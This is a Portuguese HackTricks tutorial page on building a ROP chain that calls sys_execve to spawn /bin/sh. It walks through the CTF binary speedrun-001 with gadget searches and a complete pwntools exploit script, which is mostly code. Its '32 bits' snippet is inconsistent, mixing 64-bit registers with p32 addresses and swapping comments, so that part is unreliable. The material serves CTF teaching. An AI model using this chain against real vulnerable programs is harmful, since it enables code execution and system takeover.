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179 lines
6.1 KiB
Markdown
179 lines
6.1 KiB
Markdown
# ROP - chamar sys\_execve
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<details>
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Outras maneiras de apoiar o HackTricks:
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* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
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* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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Para preparar a chamada para o **syscall** é necessário a seguinte configuração:
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* `rax: 59 Especifica sys_execve`
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* `rdi: ptr para "/bin/sh" especifica o arquivo a ser executado`
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* `rsi: 0 especifica que nenhum argumento é passado`
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* `rdx: 0 especifica que nenhuma variável de ambiente é passada`
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Portanto, basicamente é necessário escrever a string `/bin/sh` em algum lugar e então realizar o `syscall` (estando ciente do preenchimento necessário para controlar a pilha).
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## Controlar os registradores
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Vamos começar encontrando **como controlar esses registradores**:
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```c
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ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
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0x0000000000415664 : pop rax ; ret
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0x0000000000400686 : pop rdi ; ret
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0x00000000004101f3 : pop rsi ; ret
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0x00000000004498b5 : pop rdx ; ret
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```
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Com esses endereços, é possível **escrever o conteúdo na pilha e carregá-lo nos registradores**.
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## Escrever string
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### Memória gravável
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Primeiro, você precisa encontrar um local gravável na memória
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```bash
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gef> vmmap
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[ Legend: Code | Heap | Stack ]
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Start End Offset Perm Path
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0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
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0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
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0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
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```
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### Escrever String
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Em seguida, você precisa encontrar uma maneira de escrever conteúdo arbitrário neste endereço
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```python
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ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
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mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
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```
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#### 32 bits
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```python
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'''
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Lets write "/bin/sh" to 0x6b6000
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pop rdx, 0x2f62696e2f736800
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pop rax, 0x6b6000
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mov qword ptr [rax], rdx
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'''
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rop += popRdx # place value into EAX
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rop += "/bin" # 4 bytes at a time
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rop += popRax # place value into edx
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rop += p32(0x6b6000) # Writable memory
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rop += writeGadget #Address to: mov qword ptr [rax], rdx
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rop += popRdx
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rop += "//sh"
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rop += popRax
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rop += p32(0x6b6000 + 4)
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rop += writeGadget
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```
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#### 64 bits
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```python
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'''
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Lets write "/bin/sh" to 0x6b6000
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pop rdx, 0x2f62696e2f736800
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pop rax, 0x6b6000
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mov qword ptr [rax], rdx
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'''
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rop = ''
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rop += popRdx
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rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
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rop += popRax
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rop += p64(0x6b6000) # Writable memory
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rop += writeGadget #Address to: mov qword ptr [rax], rdx
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```
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## Exemplo
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```python
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from pwn import *
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target = process('./speedrun-001')
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#gdb.attach(target, gdbscript = 'b *0x400bad')
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# Establish our ROP Gadgets
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popRax = p64(0x415664)
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popRdi = p64(0x400686)
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popRsi = p64(0x4101f3)
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popRdx = p64(0x4498b5)
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# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
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writeGadget = p64(0x48d251)
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# Our syscall gadget
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syscall = p64(0x40129c)
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'''
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Here is the assembly equivalent for these blocks
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write "/bin/sh" to 0x6b6000
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pop rdx, 0x2f62696e2f736800
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pop rax, 0x6b6000
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mov qword ptr [rax], rdx
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'''
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rop = ''
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rop += popRdx
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rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
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rop += popRax
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rop += p64(0x6b6000)
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rop += writeGadget
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'''
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Prep the four registers with their arguments, and make the syscall
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pop rax, 0x3b
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pop rdi, 0x6b6000
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pop rsi, 0x0
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pop rdx, 0x0
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syscall
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'''
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rop += popRax
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rop += p64(0x3b)
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rop += popRdi
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rop += p64(0x6b6000)
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rop += popRsi
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rop += p64(0)
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rop += popRdx
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rop += p64(0)
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rop += syscall
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# Add the padding to the saved return address
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payload = "0"*0x408 + rop
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# Send the payload, drop to an interactive shell to use our new shell
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target.sendline(payload)
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target.interactive()
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```
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## Referências
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* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
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<details>
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
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|
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Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
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* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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